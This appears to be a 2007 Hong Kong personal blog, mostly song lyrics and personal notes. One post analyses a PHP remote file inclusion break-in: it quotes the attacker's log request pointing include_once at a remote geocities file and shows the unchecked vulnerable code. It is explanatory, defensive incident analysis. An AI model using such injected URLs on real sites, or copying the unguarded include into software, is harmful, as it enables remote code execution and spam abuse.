A Life Among Whales

今晚National Geographic Channel做了2套有關鯨魚的記錄片，

內容值得我們反思。

第一個節目是談到Dr Roger Payne研究鯨魚時的發現，他的研究令世界對鯨魚的看法改變，以及世界對保護鯨魚的努力。另亦提及國際捕鯨協會（International Whaling Commission）在80年代禁止商業捕鯨，各捕鯨國，如丹麥，日本等國，如何用“科學”一詞來繼續無視地繼續捕鯨，以及對國際捕鯨協會（International Whaling Commission）在商討恢復商業捕鯨的無奈。

鯨魚的腦比人類大，而且皮層亦比人類厚，以現在生物學的觀念，是比人類聰明，
但科學家到現時，對鯨魚的智力仍所知甚少。Dr Roger Payne在研究座頭鯨時，發現鯨魚發出的聲音，
以人類的定義，那些聲音叫旋律，以15分鐘為一週期，不斷重複，而且旋律會押韻。
因此推斷，鯨類的智力，至少和人類不相上下。

節目中，Dr Roger Payne有2句話，非常發人深醒，
大意是“若我們連這些大型鯨類，我們有能力保護但都保護不了，我們憑什麼可保護自己”，
“不要以為自己一個就做不了什麼，要改變現在，正是要由自己做起”。

保護環境，救救地球。

正心修身

今日和同學去大嶼山吃齋。

山上寺院環境清幽，內心平靜了不少。

"菩提本無樹

明鏡亦非臺

本來無一物

何處惹塵埃"

終着駅

終着駅

唄：稲垣潤一
詞：秋元康
曲：松本俊明

いつもの街が
いつもと違う
僕たちの角度が
離れた分だけ

君の背中に
重なり合った
人込みは　やさしい味方

出逢う時は　偶然でも
別れは　2人のせい

終着駅で
愛が終われば
再会できると
噂に聞いた
終着駅で
君を想えば
いつの日か　きっと
もう一度

僕の言葉で
言い尽くせない
後悔は　誤解の痛み

淋しさなら　紛らせても
愛しさ　止められない

始発駅まで
1人歩けば
思い出ばかりと
すれ違うけど
始発駅まで
2人歩いた
なつかしい日々に
また逢える

終着駅で
愛が終われば
再会できると
噂に聞いた
終着駅で
君を想えば
2人折り返す
始発駅

一切又歸於平靜

一切又歸於平靜，

原本開啟的大門，

現在又重新關閉；

為保那最珍貴的，

免再受的衝擊破壞，

現加裝更多鐵閘、門鎖。

大門現已深鎖，

這最珍貴的，

不會再受外間影響，

就讓其在屬於自已的世界生存吧，

讓一切再歸於平靜。

恭賀新禧

恭賀新禧.

祝大家豬年行大運, 事事順境, 心想事成.

Security Issue in PHP - include_once

There is an interesting hack in an account of our client on our webhosting service. It is an online library system of our client which is written in PHP. One day, the system admin reported that the postfix died becaue of a lot of spam mails sending from the online library system. When I checked the log and saw the log like the following:

1171167204.920 534343 xxx.xx.xx.xxx TCP_MISS/200 63463 POST http://www.example.com/php/index.php?Name=http://www.geocities.com/meet_kunleb/Login/Meet_KunleB_Mail/Logon.do.txt?

When I go the the php file and know how the cracker crack the system. The problem is about php.

<?php
...
$pagename =$_GET['Name'];
...
?>
...
<?php include_once("{$pagename}_main.inc");?>
...


The problem is that the $pagename does not have any gruad to check the value that got by $_Get['name'].

The function of include_once is allow to include the source from outside, http://example.com/aaa.php

So, when cracker use a 'http://example.org/aaa.txt?' as name, and use the url, http://example.com/php/index.php?Name=http://example.org/aaa.txt? ,

The $pagename will become http://example.org/aaa.txt? and the indule_once function will execute as:


<?php include_once("http://example.org/aaa.txt?_main.inc");?>


That will executes the php script in http://example.org/aaa.txt and _main.inc will be an ARGV for that php script. This will be a security hole of the system.

So that for security, if it is necessary to use include_once, include function in dynamic,
it has to have a check to see it is from the place you want before.

New Site

This is my new blog. It is for me to put some photos, put down the notes in programming or any other things. I used to use xanga and blogger but I could not get all the functions that I want to have. Also, I have about 5.6GB Photos. It seems that there is no blog or gallery provider allows such kind of large size files. Finally, I would like to host the blog and gallery on my own.

I am from Hong Kong and working in a software house currently. This blog will mainly be in Chinese but partly in English.

Saturday February 17, 2007

最近申請了一個DOMAIN，
www.wanleung.com

由於本身不太喜歡用人家的BLOG，
加上自己有很多相，
一直都很希望能自己有一個集BLOG和相簿於一身的SYSTEM。

願你今夜別離去

一首改編日本歌的歌，而那首日本歌，本人只在二手CD舖聽過，而且不知其歌名。

願你今夜別離去
唱：黎明
曲︰MATSUMOTO TOSHIAKI／AKIMOTO YASUSHI
詞︰劉卓輝
編︰盧東尼

但願在午夜陶醉　世界變恬靜湖水
過去那往事在飄遠去
兩眼合上　矇矓的淚

但願是冷漠憔悴　看透了世事玄虛
遠處那燦爛美景卻要繼續追

多少個夢已累　多少次再失去
是你伴我渡過了最空虛

願你今夜別離去　在我依稀的愛裡
那一刻美麗是錯對　不管有沒有允許
願你今夜別離去　但你匆匆的告退
那披星載月前塵裡　為了伴著誰

但願是冷漠憔悴　看透了世事玄虛
遠處那燦爛美景卻要繼續追

多少個夢已累　多少次再失去
是你伴我渡過了最空虛

願你今夜別離去　在我依稀的愛裡
那一刻美麗是錯對　不管有沒有允許
願你今夜別離去　但你匆匆的告退
那披星載月前塵裡　為了伴著誰

願你今夜別離去　在我依稀的愛裡
那一刻美麗是錯對　不管有沒有允許
願你今夜別離去　但你匆匆的告退
那披星載月前塵裡　為了伴著誰

情人節禮物？

情人節快到，
不知已有另一半的各位會如何和另一半慶祝？

在現在以消費為主的社會，情人節是一個非常好的賺錢節日，
就連香港郵政亦有其產品。

“香港郵政獨家呈獻情人節精選禮品系列，為您和摯愛締造浪漫驚喜!”

這是郵政署特意在情人節推出的產品，
而且亦會準時在情人節當日送到對方的地址。
不過，這只可派送至香港本地地址。

http://www.shopthrupost.hk/?lang=2

難得有情人

難得有情人

唱：關淑怡
曲︰盧東尼
詞︰向雪懷
編︰盧東尼

如早春初醒　催促我的心
將不可再等　含情待放那歲月
空出了痴心　令人動心

幸福的光陰　它不會偏心
將分給每顆心　情緣亦遠亦近
將交錯一生　情侶愛得更甚

甜密地與愛人　風裏飛奔
高聲歡呼你有情　不枉這生
一聲你願意　一聲我願意
驚天愛再沒遺憾

明月霧裏照人　相愛相親
讓對對的戀人　增添性感
一些戀愛變恨
更多戀愛故事動人
劃上了絲絲美感

幸福的光陰　它不會偏心
將分給每顆心　情緣亦遠亦近
將交錯一生　情侶愛得更甚

甜密地與愛人　風裏飛奔
高聲歡呼你有情　不枉這生
一聲你願意　一聲我願意
驚天愛再沒遺憾

明月霧裏照人　相愛相親
讓對對的戀人　增添性感
一些戀愛變恨
更多戀愛故事動人
劃上了絲絲美感

一些戀愛變恨
更多戀愛故事動人
劃上了絲絲美感

堆積情感

堆積情感

唱：鄺美雲
曲︰黃大軍／陳美威
詞︰小美

沒法抗拒濃情蜜意　始終思念你
堆積起每分的愛思
情像細雨沒法自持　好想給你知
柔情常在心中想放肆

願對你說聲濃情莫變　痴心可奉獻
堆積起每分的愛思
誰料愛意沒法續延　傷心的每天
悠悠長夜對雨哭百遍

柔情地去愛　堆積至將來
但是沒法加深每點愛
柔情地去愛　夜對星發呆
眼角淚印始終帶著愛

沒法抗拒濃情蜜意　始終思念你
堆積起每分的愛思
情像四季沒有盡頭　只管跟你走
求能明白痴心的變奏

柔情地去愛　堆積至將來
但是沒法加深每點愛
柔情地去愛　夜對星發呆
眼角淚印始終帶著愛

柔情地去愛　堆積至將來
但是沒法加深每點愛
柔情地去愛　夜對星發呆
眼角淚印始終帶著愛

眼角淚印始終帶著愛

柔情地去愛　堆積至將來
柔情地去愛　夜對星發呆
柔情地去愛　堆積至將來
柔情地去愛　夜對星發呆

世界はそれを愛と呼ぶんだぜ

世界はそれを愛と呼ぶんだぜ

唄：サンボマスター
詞：山口隆
曲：山口隆

涙の中にかすかな灯りがともったら
君の目の前であたためてた事話すのさ
それでも僕等の声が乾いてゆくだけなら
朝が来るまでせめて誰かと歌いたいんだ

昨日のあなたが偽だと言うなら
昨日の景色を捨てちまうだけだ

新しい日々をつなぐのは　新しい君と僕なのさ
僕等なぜか確かめ合う　世界じゃそれを愛と呼ぶんだぜ

心の声をつなぐのが　これ程怖いモノだとは
君と僕が声を合わす
今までの過去なんてなかったかのように歌い出すんだ

僕らはいずれ誰かを疑っちまうから
せめて今だけ美しい歌を歌うのさ
悲しい言葉では　オーイェ
何も変わらないんだぜ
奴らが何をしたっていうんだ

昨日のアナタが裏切りの人なら
昨日の景色を忘れちまうだけだ

新しい日々を変えるのは　いじらしい程の愛なのさ
僕等それを確かめ合う　世界じゃそれも愛と呼ぶんだぜ

心の声をつなぐのが　これ程怖いモノだとは
僕等なぜか声を合わす
今までの過去なんてなかったかのように歌い出すんだぜ

愛と平和!
悲しみで花が咲くものか!

新しい日々の僕達は　高なる予感がしてるのさ
君と僕が夢を叫ぶ　世界はそれを待っているんだぜ

あなたのために歌うのが　これ程怖いモノだとは
だけど僕等確かめ合う
今までの過去なんてなかったかのように
悲しみの夜なんてなかったかのように歌いだすんだぜ

世界じゃそれを愛と呼ぶんだぜ

LOVE & PEACE!

隨筆

自升大學3年之後到現在， 差不多有3年停了手上的OPEN SOURCE PROJECT。
最近不知怎的忽然想開一些新的PROJECT。

前陣子有空， 把基地LINUX版的版圖換了一個新的，感覺清新了不少，
雖版內沒什麼人氣。

Linux及自由軟體--遊戲基地（討論區）http://forum.gamebase.com.tw/board.jsp?l=2009&no=37008

負けないで、負けないで…

負けないで、負けないで…

唄：林原めぐみ
詞：辛島美登里
曲：辛島美登里

負けないで、負けないで…

教えて何故この涙は生まれてくるの?
あの日のメール読み返してる
真夜中にも瞳はまだ闇を見つめて
離れた君を想ってる

考えていたよりも　ゴールはまだ遠いけれど
負けないで…君の君の声がする
ビルに反射して愛が届くよ

別々の夢を夢を追いかけて生きる都会(まち)で
一目見た瞬間(とき)
最初から…好きだった、君を
ずっと昔この地球(ほし)で…出逢ってた

「あきらめ」を「大人になる」とすりかえている
静かな声で叱ってほしい
草原で寝転がったまま　手をつないだね
青い空しか見えなかった

この次の休みには　遊びに行っていいかな?
負けないよ…辛い時は助けてね
ちょっと休んだらほらね歩きだす

別々の夢を夢を追いかけて幸せへと続く坂道
そばにいて…いつまでも
負けないよ…君がいれば、大丈夫
ビルの谷間から声を返すよ
別々の夢を夢を追いかけて知った愛は
偶然じゃない
最初から…好きだった、君を
たった一人、この地球(ほし)で…出逢ってた